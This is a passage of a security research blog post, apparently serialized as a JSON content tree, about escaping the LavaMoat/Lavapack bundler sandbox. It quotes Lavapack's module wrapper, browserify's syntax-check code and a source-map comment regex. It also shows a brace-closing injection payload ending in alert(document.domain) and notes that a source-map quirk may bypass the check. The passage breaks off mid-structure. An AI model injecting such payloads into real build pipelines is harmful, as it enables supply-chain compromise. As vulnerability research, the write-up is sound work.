}`\n",[50984],{"type":24,"tag":156,"props":50985,"children":50986},{"__ignoreMap":7},[50987,51039,51051,51071,51088,51096,51104,51112,51120,51141,51149,51157,51165,51172,51179,51186],{"type":24,"tag":930,"props":50988,"children":50989},{"class":932,"line":933},[50990,50994,50999,51003,51008,51012,51017,51021,51026,51030,51035],{"type":24,"tag":930,"props":50991,"children":50992},{"style":937},[50993],{"type":30,"value":39276},{"type":24,"tag":930,"props":50995,"children":50996},{"style":1023},[50997],{"type":30,"value":50998}," filename",{"type":24,"tag":930,"props":51000,"children":51001},{"style":1158},[51002],{"type":30,"value":6137},{"type":24,"tag":930,"props":51004,"children":51005},{"style":1002},[51006],{"type":30,"value":51007}," encodeURI",{"type":24,"tag":930,"props":51009,"children":51010},{"style":959},[51011],{"type":30,"value":1010},{"type":24,"tag":930,"props":51013,"children":51014},{"style":1002},[51015],{"type":30,"value":51016},"String",{"type":24,"tag":930,"props":51018,"children":51019},{"style":959},[51020],{"type":30,"value":1010},{"type":24,"tag":930,"props":51022,"children":51023},{"style":1023},[51024],{"type":30,"value":51025},"moduleData",{"type":24,"tag":930,"props":51027,"children":51028},{"style":959},[51029],{"type":30,"value":436},{"type":24,"tag":930,"props":51031,"children":51032},{"style":1023},[51033],{"type":30,"value":51034},"file",{"type":24,"tag":930,"props":51036,"children":51037},{"style":959},[51038],{"type":30,"value":22815},{"type":24,"tag":930,"props":51040,"children":51041},{"class":932,"line":984},[51042,51046],{"type":24,"tag":930,"props":51043,"children":51044},{"style":937},[51045],{"type":30,"value":10965},{"type":24,"tag":930,"props":51047,"children":51048},{"style":1023},[51049],{"type":30,"value":51050}," moduleWrapperSource\n",{"type":24,"tag":930,"props":51052,"children":51053},{"class":932,"line":993},[51054,51058,51062,51067],{"type":24,"tag":930,"props":51055,"children":51056},{"style":1079},[51057],{"type":30,"value":34486},{"type":24,"tag":930,"props":51059,"children":51060},{"style":959},[51061],{"type":30,"value":1087},{"type":24,"tag":930,"props":51063,"children":51064},{"style":1023},[51065],{"type":30,"value":51066},"bundleWithPrecompiledModules",{"type":24,"tag":930,"props":51068,"children":51069},{"style":959},[51070],{"type":30,"value":1503},{"type":24,"tag":930,"props":51072,"children":51073},{"class":932,"line":1057},[51074,51079,51083],{"type":24,"tag":930,"props":51075,"children":51076},{"style":1023},[51077],{"type":30,"value":51078},"    moduleWrapperSource",{"type":24,"tag":930,"props":51080,"children":51081},{"style":1158},[51082],{"type":30,"value":6137},{"type":24,"tag":930,"props":51084,"children":51085},{"style":1270},[51086],{"type":30,"value":51087}," `function(){\n",{"type":24,"tag":930,"props":51089,"children":51090},{"class":932,"line":1066},[51091],{"type":24,"tag":930,"props":51092,"children":51093},{"style":1270},[51094],{"type":30,"value":51095},"      with (this.scopeTerminator) {\n",{"type":24,"tag":930,"props":51097,"children":51098},{"class":932,"line":1075},[51099],{"type":24,"tag":930,"props":51100,"children":51101},{"style":1270},[51102],{"type":30,"value":51103},"        with (this.globalThis) {\n",{"type":24,"tag":930,"props":51105,"children":51106},{"class":932,"line":1122},[51107],{"type":24,"tag":930,"props":51108,"children":51109},{"style":1270},[51110],{"type":30,"value":51111},"          return function() {\n",{"type":24,"tag":930,"props":51113,"children":51114},{"class":932,"line":1131},[51115],{"type":24,"tag":930,"props":51116,"children":51117},{"style":1270},[51118],{"type":30,"value":51119},"            'use strict';\n",{"type":24,"tag":930,"props":51121,"children":51122},{"class":932,"line":1144},[51123,51128,51132,51137],{"type":24,"tag":930,"props":51124,"children":51125},{"style":1270},[51126],{"type":30,"value":51127},"            // source: ",{"type":24,"tag":930,"props":51129,"children":51130},{"style":937},[51131],{"type":30,"value":37197},{"type":24,"tag":930,"props":51133,"children":51134},{"style":1023},[51135],{"type":30,"value":51136},"filename",{"type":24,"tag":930,"props":51138,"children":51139},{"style":937},[51140],{"type":30,"value":2528},{"type":24,"tag":930,"props":51142,"children":51143},{"class":932,"line":1169},[51144],{"type":24,"tag":930,"props":51145,"children":51146},{"style":1270},[51147],{"type":30,"value":51148},"            return function (require, module, exports) {\n",{"type":24,"tag":930,"props":51150,"children":51151},{"class":932,"line":1191},[51152],{"type":24,"tag":930,"props":51153,"children":51154},{"style":1270},[51155],{"type":30,"value":51156},"              __MODULE_CONTENT__\n",{"type":24,"tag":930,"props":51158,"children":51159},{"class":932,"line":1223},[51160],{"type":24,"tag":930,"props":51161,"children":51162},{"style":1270},[51163],{"type":30,"value":51164},"            };\n",{"type":24,"tag":930,"props":51166,"children":51167},{"class":932,"line":1281},[51168],{"type":24,"tag":930,"props":51169,"children":51170},{"style":1270},[51171],{"type":30,"value":11811},{"type":24,"tag":930,"props":51173,"children":51174},{"class":932,"line":1313},[51175],{"type":24,"tag":930,"props":51176,"children":51177},{"style":1270},[51178],{"type":30,"value":1831},{"type":24,"tag":930,"props":51180,"children":51181},{"class":932,"line":1335},[51182],{"type":24,"tag":930,"props":51183,"children":51184},{"style":1270},[51185],{"type":30,"value":15771},{"type":24,"tag":930,"props":51187,"children":51188},{"class":932,"line":1376},[51189],{"type":24,"tag":930,"props":51190,"children":51191},{"style":1270},[51192],{"type":30,"value":51193},"    }`\n",{"type":24,"tag":33,"props":51195,"children":51196},{},[51197,51199,51205,51207,51213],{"type":30,"value":51198},"Lavapack uses ",{"type":24,"tag":156,"props":51200,"children":51202},{"className":51201},[],[51203],{"type":30,"value":51204},"with()",{"type":30,"value":51206}," proxies to restrict the objects accessible by the module, and ",{"type":24,"tag":156,"props":51208,"children":51210},{"className":51209},[],[51211],{"type":30,"value":51212},"__MODULE_CONTENT__",{"type":30,"value":51214}," is replaced by the content of a file required by the project being built.",{"type":24,"tag":151,"props":51216,"children":51218},{"id":51217},"injection-not-so-simple",[51219],{"type":30,"value":51220},"Injection? Not So Simple",{"type":24,"tag":33,"props":51222,"children":51223},{},[51224,51226,51231],{"type":30,"value":51225},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":24,"tag":156,"props":51227,"children":51229},{"className":51228},[],[51230],{"type":30,"value":15758},{"type":30,"value":51232}," environment:",{"type":24,"tag":920,"props":51234,"children":51236},{"className":34455,"code":51235,"language":34457,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[51237],{"type":24,"tag":156,"props":51238,"children":51239},{"__ignoreMap":7},[51240,51253,51265,51277,51289,51296],{"type":24,"tag":930,"props":51241,"children":51242},{"class":932,"line":933},[51243,51248],{"type":24,"tag":930,"props":51244,"children":51245},{"style":959},[51246],{"type":30,"value":51247},"   } ",{"type":24,"tag":930,"props":51249,"children":51250},{"style":1422},[51251],{"type":30,"value":51252},"// end function 1\n",{"type":24,"tag":930,"props":51254,"children":51255},{"class":932,"line":984},[51256,51260],{"type":24,"tag":930,"props":51257,"children":51258},{"style":959},[51259],{"type":30,"value":34560},{"type":24,"tag":930,"props":51261,"children":51262},{"style":1422},[51263],{"type":30,"value":51264},"// end function 2\n",{"type":24,"tag":930,"props":51266,"children":51267},{"class":932,"line":993},[51268,51272],{"type":24,"tag":930,"props":51269,"children":51270},{"style":959},[51271],{"type":30,"value":39290},{"type":24,"tag":930,"props":51273,"children":51274},{"style":1422},[51275],{"type":30,"value":51276},"// end with 1\n",{"type":24,"tag":930,"props":51278,"children":51279},{"class":932,"line":1057},[51280,51284],{"type":24,"tag":930,"props":51281,"children":51282},{"style":959},[51283],{"type":30,"value":49963},{"type":24,"tag":930,"props":51285,"children":51286},{"style":1422},[51287],{"type":30,"value":51288},"// end with 2\n",{"type":24,"tag":930,"props":51290,"children":51291},{"class":932,"line":1066},[51292],{"type":24,"tag":930,"props":51293,"children":51294},{"emptyLinePlaceholder":16},[51295],{"type":30,"value":2412},{"type":24,"tag":930,"props":51297,"children":51298},{"class":932,"line":1075},[51299,51303,51307,51311,51315,51319],{"type":24,"tag":930,"props":51300,"children":51301},{"style":1002},[51302],{"type":30,"value":35785},{"type":24,"tag":930,"props":51304,"children":51305},{"style":959},[51306],{"type":30,"value":1010},{"type":24,"tag":930,"props":51308,"children":51309},{"style":1023},[51310],{"type":30,"value":35795},{"type":24,"tag":930,"props":51312,"children":51313},{"style":959},[51314],{"type":30,"value":436},{"type":24,"tag":930,"props":51316,"children":51317},{"style":1023},[51318],{"type":30,"value":35805},{"type":24,"tag":930,"props":51320,"children":51321},{"style":959},[51322],{"type":30,"value":1054},{"type":24,"tag":33,"props":51324,"children":51325},{},[51326,51328,51334,51336,51343],{"type":30,"value":51327},"However, when we tried to bundle it, a ",{"type":24,"tag":156,"props":51329,"children":51331},{"className":51330},[],[51332],{"type":30,"value":51333},"ParseError",{"type":30,"value":51335}," was thrown. This is because Lavapack is a plugin of ",{"type":24,"tag":37,"props":51337,"children":51340},{"href":51338,"rel":51339},"https://github.com/browserify/browserify",[41],[51341],{"type":30,"value":51342},"browserify",{"type":30,"value":51344},", which has a syntax check before replacing the code.",{"type":24,"tag":33,"props":51346,"children":51347},{},[51348,51350,51356,51358,51364,51366,51372,51374,51379],{"type":30,"value":51349},"Looking deeper into browserify, we find it has a ",{"type":24,"tag":156,"props":51351,"children":51353},{"className":51352},[],[51354],{"type":30,"value":51355},"syntax",{"type":30,"value":51357}," stage on it's pipeline, and uses the ",{"type":24,"tag":156,"props":51359,"children":51361},{"className":51360},[],[51362],{"type":30,"value":51363},"syntax-error",{"type":30,"value":51365}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":24,"tag":156,"props":51367,"children":51369},{"className":51368},[],[51370],{"type":30,"value":51371},"pack",{"type":30,"value":51373}," stage on browserify pipeline, which comes after the ",{"type":24,"tag":156,"props":51375,"children":51377},{"className":51376},[],[51378],{"type":30,"value":51355},{"type":30,"value":51380},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":24,"tag":33,"props":51382,"children":51383},{},[51384],{"type":24,"tag":140,"props":51385,"children":51388},{"alt":51386,"src":51387},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":24,"tag":33,"props":51390,"children":51391},{},[51392,51393,51398,51400,51405],{"type":30,"value":259},{"type":24,"tag":156,"props":51394,"children":51396},{"className":51395},[],[51397],{"type":30,"value":51363},{"type":30,"value":51399}," package performs a syntax check by using  ",{"type":24,"tag":156,"props":51401,"children":51403},{"className":51402},[],[51404],{"type":30,"value":40636},{"type":30,"value":51406}," with function hoisting:",{"type":24,"tag":920,"props":51408,"children":51410},{"className":34455,"code":51409,"language":34457,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[51411],{"type":24,"tag":156,"props":51412,"children":51413},{"__ignoreMap":7},[51414,51426,51476,51487,51494,51514,51555,51615,51656],{"type":24,"tag":930,"props":51415,"children":51416},{"class":932,"line":933},[51417,51422],{"type":24,"tag":930,"props":51418,"children":51419},{"style":1079},[51420],{"type":30,"value":51421},"try",{"type":24,"tag":930,"props":51423,"children":51424},{"style":959},[51425],{"type":30,"value":981},{"type":24,"tag":930,"props":51427,"children":51428},{"class":932,"line":984},[51429,51434,51438,51443,51447,51452,51456,51461,51467,51472],{"type":24,"tag":930,"props":51430,"children":51431},{"style":1002},[51432],{"type":30,"value":51433},"    eval",{"type":24,"tag":930,"props":51435,"children":51436},{"style":959},[51437],{"type":30,"value":1010},{"type":24,"tag":930,"props":51439,"children":51440},{"style":1270},[51441],{"type":30,"value":51442},"'throw \"STOP\"; (function () { '",{"type":24,"tag":930,"props":51444,"children":51445},{"style":1158},[51446],{"type":30,"value":12014},{"type":24,"tag":930,"props":51448,"children":51449},{"style":1023},[51450],{"type":30,"value":51451}," src",{"type":24,"tag":930,"props":51453,"children":51454},{"style":1158},[51455],{"type":30,"value":12014},{"type":24,"tag":930,"props":51457,"children":51458},{"style":1270},[51459],{"type":30,"value":51460}," '",{"type":24,"tag":930,"props":51462,"children":51464},{"style":51463},"--shiki-default:#D7BA7D",[51465],{"type":30,"value":51466},"\\n",{"type":24,"tag":930,"props":51468,"children":51469},{"style":1270},[51470],{"type":30,"value":51471},"})()'",{"type":24,"tag":930,"props":51473,"children":51474},{"style":959},[51475],{"type":30,"value":1278},{"type":24,"tag":930,"props":51477,"children":51478},{"class":932,"line":993},[51479,51483],{"type":24,"tag":930,"props":51480,"children":51481},{"style":1079},[51482],{"type":30,"value":20090},{"type":24,"tag":930,"props":51484,"children":51485},{"style":959},[51486],{"type":30,"value":5539},{"type":24,"tag":930,"props":51488,"children":51489},{"class":932,"line":1057},[51490],{"type":24,"tag":930,"props":51491,"children":51492},{"style":959},[51493],{"type":30,"value":2528},{"type":24,"tag":930,"props":51495,"children":51496},{"class":932,"line":1066},[51497,51501,51505,51510],{"type":24,"tag":930,"props":51498,"children":51499},{"style":1079},[51500],{"type":30,"value":4760},{"type":24,"tag":930,"props":51502,"children":51503},{"style":959},[51504],{"type":30,"value":1087},{"type":24,"tag":930,"props":51506,"children":51507},{"style":1023},[51508],{"type":30,"value":51509},"err",{"type":24,"tag":930,"props":51511,"children":51512},{"style":959},[51513],{"type":30,"value":1503},{"type":24,"tag":930,"props":51515,"children":51516},{"class":932,"line":1075},[51517,51521,51525,51529,51533,51538,51542,51547,51551],{"type":24,"tag":930,"props":51518,"children":51519},{"style":1079},[51520],{"type":30,"value":15386},{"type":24,"tag":930,"props":51522,"children":51523},{"style":959},[51524],{"type":30,"value":1087},{"type":24,"tag":930,"props":51526,"children":51527},{"style":1023},[51528],{"type":30,"value":51509},{"type":24,"tag":930,"props":51530,"children":51531},{"style":1158},[51532],{"type":30,"value":34514},{"type":24,"tag":930,"props":51534,"children":51535},{"style":1270},[51536],{"type":30,"value":51537}," 'STOP'",{"type":24,"tag":930,"props":51539,"children":51540},{"style":959},[51541],{"type":30,"value":5579},{"type":24,"tag":930,"props":51543,"children":51544},{"style":1079},[51545],{"type":30,"value":51546},"return",{"type":24,"tag":930,"props":51548,"children":51549},{"style":937},[51550],{"type":30,"value":42425},{"type":24,"tag":930,"props":51552,"children":51553},{"style":959},[51554],{"type":30,"value":5539},{"type":24,"tag":930,"props":51556,"children":51557},{"class":932,"line":1122},[51558,51562,51566,51570,51574,51579,51583,51588,51593,51598,51602,51606,51611],{"type":24,"tag":930,"props":51559,"children":51560},{"style":1079},[51561],{"type":30,"value":15386},{"type":24,"tag":930,"props":51563,"children":51564},{"style":959},[51565],{"type":30,"value":1087},{"type":24,"tag":930,"props":51567,"children":51568},{"style":1023},[51569],{"type":30,"value":51509},{"type":24,"tag":930,"props":51571,"children":51572},{"style":959},[51573],{"type":30,"value":436},{"type":24,"tag":930,"props":51575,"children":51576},{"style":1023},[51577],{"type":30,"value":51578},"constructor",{"type":24,"tag":930,"props":51580,"children":51581},{"style":959},[51582],{"type":30,"value":436},{"type":24,"tag":930,"props":51584,"children":51585},{"style":1023},[51586],{"type":30,"value":51587},"name",{"type":24,"tag":930,"props":51589,"children":51590},{"style":1158},[51591],{"type":30,"value":51592}," !==",{"type":24,"tag":930,"props":51594,"children":51595},{"style":1270},[51596],{"type":30,"value":51597}," 'SyntaxError'",{"type":24,"tag":930,"props":51599,"children":51600},{"style":959},[51601],{"type":30,"value":5579},{"type":24,"tag":930,"props":51603,"children":51604},{"style":1079},[51605],{"type":30,"value":51546},{"type":24,"tag":930,"props":51607,"children":51608},{"style":1023},[51609],{"type":30,"value":51610}," err",{"type":24,"tag":930,"props":51612,"children":51613},{"style":959},[51614],{"type":30,"value":5539},{"type":24,"tag":930,"props":51616,"children":51617},{"class":932,"line":1131},[51618,51622,51627,51631,51635,51639,51643,51647,51652],{"type":24,"tag":930,"props":51619,"children":51620},{"style":1079},[51621],{"type":30,"value":20090},{"type":24,"tag":930,"props":51623,"children":51624},{"style":1002},[51625],{"type":30,"value":51626}," errorInfo",{"type":24,"tag":930,"props":51628,"children":51629},{"style":959},[51630],{"type":30,"value":1010},{"type":24,"tag":930,"props":51632,"children":51633},{"style":1023},[51634],{"type":30,"value":35757},{"type":24,"tag":930,"props":51636,"children":51637},{"style":959},[51638],{"type":30,"value":962},{"type":24,"tag":930,"props":51640,"children":51641},{"style":1023},[51642],{"type":30,"value":51034},{"type":24,"tag":930,"props":51644,"children":51645},{"style":959},[51646],{"type":30,"value":962},{"type":24,"tag":930,"props":51648,"children":51649},{"style":1023},[51650],{"type":30,"value":51651},"opts",{"type":24,"tag":930,"props":51653,"children":51654},{"style":959},[51655],{"type":30,"value":1278},{"type":24,"tag":930,"props":51657,"children":51658},{"class":932,"line":1144},[51659],{"type":24,"tag":930,"props":51660,"children":51661},{"style":959},[51662],{"type":30,"value":2528},{"type":24,"tag":33,"props":51664,"children":51665},{},[51666,51668,51672,51674,51680,51682,51687],{"type":30,"value":51667},"Interestingly, it ",{"type":24,"tag":6032,"props":51669,"children":51670},{},[51671],{"type":30,"value":7089},{"type":30,"value":51673}," possible to inject a ",{"type":24,"tag":156,"props":51675,"children":51677},{"className":51676},[],[51678],{"type":30,"value":51679},"}); (() => {",{"type":30,"value":51681}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":24,"tag":156,"props":51683,"children":51685},{"className":51684},[],[51686],{"type":30,"value":51204},{"type":30,"value":51688}," sandbox of Lavapack.",{"type":24,"tag":151,"props":51690,"children":51692},{"id":51691},"sourcemap-the-syntax-killer",[51693],{"type":30,"value":51694},"SourceMap: The Syntax Killer",{"type":24,"tag":33,"props":51696,"children":51697},{},[51698,51700,51707],{"type":30,"value":51699},"Lavapack has a feature to extract source maps files from the code using ",{"type":24,"tag":37,"props":51701,"children":51704},{"href":51702,"rel":51703},"https://www.npmjs.com/package/convert-source-map",[41],[51705],{"type":30,"value":51706},"convert-source-map",{"type":30,"value":51708}," npm package:",{"type":24,"tag":920,"props":51710,"children":51712},{"className":34455,"code":51711,"language":34457,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[51713],{"type":24,"tag":156,"props":51714,"children":51715},{"__ignoreMap":7},[51716,51740,51782,51790,51831,51872,51900],{"type":24,"tag":930,"props":51717,"children":51718},{"class":932,"line":933},[51719,51723,51728,51732,51736],{"type":24,"tag":930,"props":51720,"children":51721},{"style":937},[51722],{"type":30,"value":34469},{"type":24,"tag":930,"props":51724,"children":51725},{"style":1002},[51726],{"type":30,"value":51727}," extractSourceMaps",{"type":24,"tag":930,"props":51729,"children":51730},{"style":959},[51731],{"type":30,"value":1010},{"type":24,"tag":930,"props":51733,"children":51734},{"style":1023},[51735],{"type":30,"value":41102},{"type":24,"tag":930,"props":51737,"children":51738},{"style":959},[51739],{"type":30,"value":1503},{"type":24,"tag":930,"props":51741,"children":51742},{"class":932,"line":984},[51743,51747,51752,51756,51761,51765,51770,51774,51778],{"type":24,"tag":930,"props":51744,"children":51745},{"style":937},[51746],{"type":30,"value":39276},{"type":24,"tag":930,"props":51748,"children":51749},{"style":1023},[51750],{"type":30,"value":51751}," converter",{"type":24,"tag":930,"props":51753,"children":51754},{"style":1158},[51755],{"type":30,"value":6137},{"type":24,"tag":930,"props":51757,"children":51758},{"style":1023},[51759],{"type":30,"value":51760}," convertSourceMap",{"type":24,"tag":930,"props":51762,"children":51763},{"style":959},[51764],{"type":30,"value":436},{"type":24,"tag":930,"props":51766,"children":51767},{"style":1002},[51768],{"type":30,"value":51769},"fromSource",{"type":24,"tag":930,"props":51771,"children":51772},{"style":959},[51773],{"type":30,"value":1010},{"type":24,"tag":930,"props":51775,"children":51776},{"style":1023},[51777],{"type":30,"value":41102},{"type":24,"tag":930,"props":51779,"children":51780},{"style":959},[51781],{"type":30,"value":1054},{"type":24,"tag":930,"props":51783,"children":51784},{"class":932,"line":993},[51785],{"type":24,"tag":930,"props":51786,"children":51787},{"style":1422},[51788],{"type":30,"value":51789},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":24,"tag":930,"props":51791,"children":51792},{"class":932,"line":1057},[51793,51797,51802,51806,51810,51814,51818,51822,51827],{"type":24,"tag":930,"props":51794,"children":51795},{"style":937},[51796],{"type":30,"value":39276},{"type":24,"tag":930,"props":51798,"children":51799},{"style":1023},[51800],{"type":30,"value":51801}," maps",{"type":24,"tag":930,"props":51803,"children":51804},{"style":1158},[51805],{"type":30,"value":6137},{"type":24,"tag":930,"props":51807,"children":51808},{"style":1023},[51809],{"type":30,"value":51751},{"type":24,"tag":930,"props":51811,"children":51812},{"style":1158},[51813],{"type":30,"value":17291},{"type":24,"tag":930,"props":51815,"children":51816},{"style":1023},[51817],{"type":30,"value":51751},{"type":24,"tag":930,"props":51819,"children":51820},{"style":959},[51821],{"type":30,"value":436},{"type":24,"tag":930,"props":51823,"children":51824},{"style":1002},[51825],{"type":30,"value":51826},"toObject",{"type":24,"tag":930,"props":51828,"children":51829},{"style":959},[51830],{"type":30,"value":10846},{"type":24,"tag":930,"props":51832,"children":51833},{"class":932,"line":1066},[51834,51838,51843,51847,51851,51855,51860,51864,51868],{"type":24,"tag":930,"props":51835,"children":51836},{"style":937},[51837],{"type":30,"value":39276},{"type":24,"tag":930,"props":51839,"children":51840},{"style":1023},[51841],{"type":30,"value":51842}," code",{"type":24,"tag":930,"props":51844,"children":51845},{"style":1158},[51846],{"type":30,"value":6137},{"type":24,"tag":930,"props":51848,"children":51849},{"style":1023},[51850],{"type":30,"value":51760},{"type":24,"tag":930,"props":51852,"children":51853},{"style":959},[51854],{"type":30,"value":436},{"type":24,"tag":930,"props":51856,"children":51857},{"style":1002},[51858],{"type":30,"value":51859},"removeComments",{"type":24,"tag":930,"props":51861,"children":51862},{"style":959},[51863],{"type":30,"value":1010},{"type":24,"tag":930,"props":51865,"children":51866},{"style":1023},[51867],{"type":30,"value":41102},{"type":24,"tag":930,"props":51869,"children":51870},{"style":959},[51871],{"type":30,"value":1054},{"type":24,"tag":930,"props":51873,"children":51874},{"class":932,"line":1075},[51875,51879,51883,51887,51891,51896],{"type":24,"tag":930,"props":51876,"children":51877},{"style":1079},[51878],{"type":30,"value":42286},{"type":24,"tag":930,"props":51880,"children":51881},{"style":959},[51882],{"type":30,"value":12694},{"type":24,"tag":930,"props":51884,"children":51885},{"style":1023},[51886],{"type":30,"value":156},{"type":24,"tag":930,"props":51888,"children":51889},{"style":959},[51890],{"type":30,"value":962},{"type":24,"tag":930,"props":51892,"children":51893},{"style":1023},[51894],{"type":30,"value":51895},"maps",{"type":24,"tag":930,"props":51897,"children":51898},{"style":959},[51899],{"type":30,"value":12704},{"type":24,"tag":930,"props":51901,"children":51902},{"class":932,"line":1122},[51903],{"type":24,"tag":930,"props":51904,"children":51905},{"style":959},[51906],{"type":30,"value":2528},{"type":24,"tag":33,"props":51908,"children":51909},{},[51910,51912,51917,51919,51924],{"type":30,"value":51911},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":24,"tag":156,"props":51913,"children":51915},{"className":51914},[],[51916],{"type":30,"value":51355},{"type":30,"value":51918}," stage. Reviewing the ",{"type":24,"tag":156,"props":51920,"children":51922},{"className":51921},[],[51923],{"type":30,"value":51706},{"type":30,"value":51925}," code, we can see exactly how this happens.",{"type":24,"tag":920,"props":51927,"children":51929},{"className":34455,"code":51928,"language":34457,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[51930],{"type":24,"tag":156,"props":51931,"children":51932},{"__ignoreMap":7},[51933,51972,51998,52006,52220,52227,52234,52241,52276,52326],{"type":24,"tag":930,"props":51934,"children":51935},{"class":932,"line":933},[51936,51941,51945,51950,51954,51958,51962,51967],{"type":24,"tag":930,"props":51937,"children":51938},{"style":1023},[51939],{"type":30,"value":51940},"Object",{"type":24,"tag":930,"props":51942,"children":51943},{"style":959},[51944],{"type":30,"value":436},{"type":24,"tag":930,"props":51946,"children":51947},{"style":1002},[51948],{"type":30,"value":51949},"defineProperty",{"type":24,"tag":930,"props":51951,"children":51952},{"style":959},[51953],{"type":30,"value":1010},{"type":24,"tag":930,"props":51955,"children":51956},{"style":943},[51957],{"type":30,"value":40974},{"type":24,"tag":930,"props":51959,"children":51960},{"style":959},[51961],{"type":30,"value":962},{"type":24,"tag":930,"props":51963,"children":51964},{"style":1270},[51965],{"type":30,"value":51966},"'commentRegex'",{"type":24,"tag":930,"props":51968,"children":51969},{"style":959},[51970],{"type":30,"value":51971},", {\n",{"type":24,"tag":930,"props":51973,"children":51974},{"class":932,"line":984},[51975,51980,51984,51988,51993],{"type":24,"tag":930,"props":51976,"children":51977},{"style":1002},[51978],{"type":30,"value":51979},"  get",{"type":24,"tag":930,"props":51981,"children":51982},{"style":1023},[51983],{"type":30,"value":476},{"type":24,"tag":930,"props":51985,"children":51986},{"style":937},[51987],{"type":30,"value":41302},{"type":24,"tag":930,"props":51989,"children":51990},{"style":1002},[51991],{"type":30,"value":51992}," getCommentRegex",{"type":24,"tag":930,"props":51994,"children":51995},{"style":959},[51996],{"type":30,"value":51997}," () {\n",{"type":24,"tag":930,"props":51999,"children":52000},{"class":932,"line":993},[52001],{"type":24,"tag":930,"props":52002,"children":52003},{"style":1422},[52004],{"type":30,"value":52005},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":24,"tag":930,"props":52007,"children":52008},{"class":932,"line":1057},[52009,52013,52019,52024,52029,52034,52038,52043,52048,52053,52057,52061,52066,52071,52076,52081,52085,52089,52093,52098,52102,52107,52112,52117,52122,52126,52130,52134,52138,52142,52146,52150,52154,52159,52164,52168,52173,52178,52182,52186,52190,52194,52199,52203,52207,52211,52216],{"type":24,"tag":930,"props":52010,"children":52011},{"style":1079},[52012],{"type":30,"value":20090},{"type":24,"tag":930,"props":52014,"children":52016},{"style":52015},"--shiki-default:#D16969",[52017],{"type":30,"value":52018}," /",{"type":24,"tag":930,"props":52020,"children":52021},{"style":1002},[52022],{"type":30,"value":52023},"^",{"type":24,"tag":930,"props":52025,"children":52026},{"style":52015},[52027],{"type":30,"value":52028},"\\s",{"type":24,"tag":930,"props":52030,"children":52031},{"style":51463},[52032],{"type":30,"value":52033},"*?\\/",{"type":24,"tag":930,"props":52035,"children":52036},{"style":1270},[52037],{"type":30,"value":6849},{"type":24,"tag":930,"props":52039,"children":52040},{"style":51463},[52041],{"type":30,"value":52042},"\\/\\*",{"type":24,"tag":930,"props":52044,"children":52045},{"style":1270},[52046],{"type":30,"value":52047},"][",{"type":24,"tag":930,"props":52049,"children":52050},{"style":52015},[52051],{"type":30,"value":52052},"@#",{"type":24,"tag":930,"props":52054,"children":52055},{"style":1270},[52056],{"type":30,"value":18514},{"type":24,"tag":930,"props":52058,"children":52059},{"style":52015},[52060],{"type":30,"value":52028},{"type":24,"tag":930,"props":52062,"children":52063},{"style":51463},[52064],{"type":30,"value":52065},"+?",{"type":24,"tag":930,"props":52067,"children":52068},{"style":52015},[52069],{"type":30,"value":52070},"sourceMappingURL=data:",{"type":24,"tag":930,"props":52072,"children":52073},{"style":1270},[52074],{"type":30,"value":52075},"(((?:",{"type":24,"tag":930,"props":52077,"children":52078},{"style":52015},[52079],{"type":30,"value":52080},"application",{"type":24,"tag":930,"props":52082,"children":52083},{"style":1002},[52084],{"type":30,"value":13523},{"type":24,"tag":930,"props":52086,"children":52087},{"style":52015},[52088],{"type":30,"value":30},{"type":24,"tag":930,"props":52090,"children":52091},{"style":1270},[52092],{"type":30,"value":6249},{"type":24,"tag":930,"props":52094,"children":52095},{"style":51463},[52096],{"type":30,"value":52097},"\\/",{"type":24,"tag":930,"props":52099,"children":52100},{"style":52015},[52101],{"type":30,"value":37086},{"type":24,"tag":930,"props":52103,"children":52104},{"style":1270},[52105],{"type":30,"value":52106},")(?:",{"type":24,"tag":930,"props":52108,"children":52109},{"style":52015},[52110],{"type":30,"value":52111},";charset=",{"type":24,"tag":930,"props":52113,"children":52114},{"style":1270},[52115],{"type":30,"value":52116},"([^",{"type":24,"tag":930,"props":52118,"children":52119},{"style":52015},[52120],{"type":30,"value":52121},";,",{"type":24,"tag":930,"props":52123,"children":52124},{"style":1270},[52125],{"type":30,"value":18514},{"type":24,"tag":930,"props":52127,"children":52128},{"style":51463},[52129],{"type":30,"value":52065},{"type":24,"tag":930,"props":52131,"children":52132},{"style":1270},[52133],{"type":30,"value":6249},{"type":24,"tag":930,"props":52135,"children":52136},{"style":51463},[52137],{"type":30,"value":5347},{"type":24,"tag":930,"props":52139,"children":52140},{"style":1270},[52141],{"type":30,"value":6249},{"type":24,"tag":930,"props":52143,"children":52144},{"style":51463},[52145],{"type":30,"value":5347},{"type":24,"tag":930,"props":52147,"children":52148},{"style":1270},[52149],{"type":30,"value":6249},{"type":24,"tag":930,"props":52151,"children":52152},{"style":51463},[52153],{"type":30,"value":5347},{"type":24,"tag":930,"props":52155,"children":52156},{"style":1270},[52157],{"type":30,"value":52158},"(?:",{"type":24,"tag":930,"props":52160,"children":52161},{"style":52015},[52162],{"type":30,"value":52163},";",{"type":24,"tag":930,"props":52165,"children":52166},{"style":1270},[52167],{"type":30,"value":1010},{"type":24,"tag":930,"props":52169,"children":52170},